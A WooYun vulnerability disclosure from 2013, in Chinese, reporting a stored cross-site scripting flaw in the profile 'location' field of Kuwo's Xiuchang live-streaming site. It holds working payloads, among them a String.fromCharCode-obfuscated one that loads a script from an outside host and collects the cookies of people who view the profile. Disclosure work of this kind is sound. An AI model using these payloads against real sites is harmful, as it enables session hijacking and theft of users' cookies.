当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-041189

漏洞标题：酷我秀场个人信息设置存在存储型跨站

相关厂商：酷我音乐

漏洞作者： jinglingshu

提交时间：2013-10-29 19:09

修复时间：2013-11-03 19:10

公开时间：2013-11-03 19:10

漏洞类型：xss跨站脚本攻击

危害等级：低

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-10-29： 细节已通知厂商并且等待厂商处理中
2013-11-03： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

酷我秀场(http://x.kuwo.cn/)中个人信息设置中，对“所在地”过滤不严导致存在存储型跨站漏洞。

详细说明：

在酷我秀场的”个人主页“中可以对“基础信息”进行设置，其中“所在地”输入框对用户输入过滤不严导致存在存储型跨站漏洞。

20131027155104.png


1、该"所在地"输入框过滤了‘和< 但并未过滤"，导致可以输入跨站代码。
如
(1)输入" onmouseover=alert(1) "后保存，然后查看个人信息

20131027151438.png


(2)输入" onmouseover=alert(document.cookie) "后保存，然后查看个人信息

20131027151723.png


(3)插入跨站平台代码。虽然网站过滤了'和对<进行了编码，可以利用String.fromCharCode()进行绕过。输入

" onmouseover="var a=document.createElement(eval(String.fromCharCode(39,115,99,114,105,112,116,39)));a.src=eval(String.fromCharCode(39,104,116,116,112,58,47,47,49,50,54,46,97,109,47,99,84,51,51,72,49,39));document.body.appendChild(a);" type="text

后保存，然后查看个人信息。查看后跨站平台就收到了cookie

20131027152628.png


2、总结：酷我秀场的个人基础信息是公开的，任何人都可以查看。因此将"所在地"填充为xss代码后，只要有人查看你的资料时鼠标移动到“所在地”位置就会触发xss代码。如任何人访问我的个人资料：http://x.kuwo.cn/KuwoLive/lb/MyPage?uid=114701529，将鼠标移动到"所在地"处。

20131027154724.png


漏洞证明：

20131027151723.png


20131027152628.png


修复方案：

对用户输入进行过滤

版权声明：转载请注明来源 jinglingshu@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-11-03 19:10

厂商回复：

最新状态：

暂无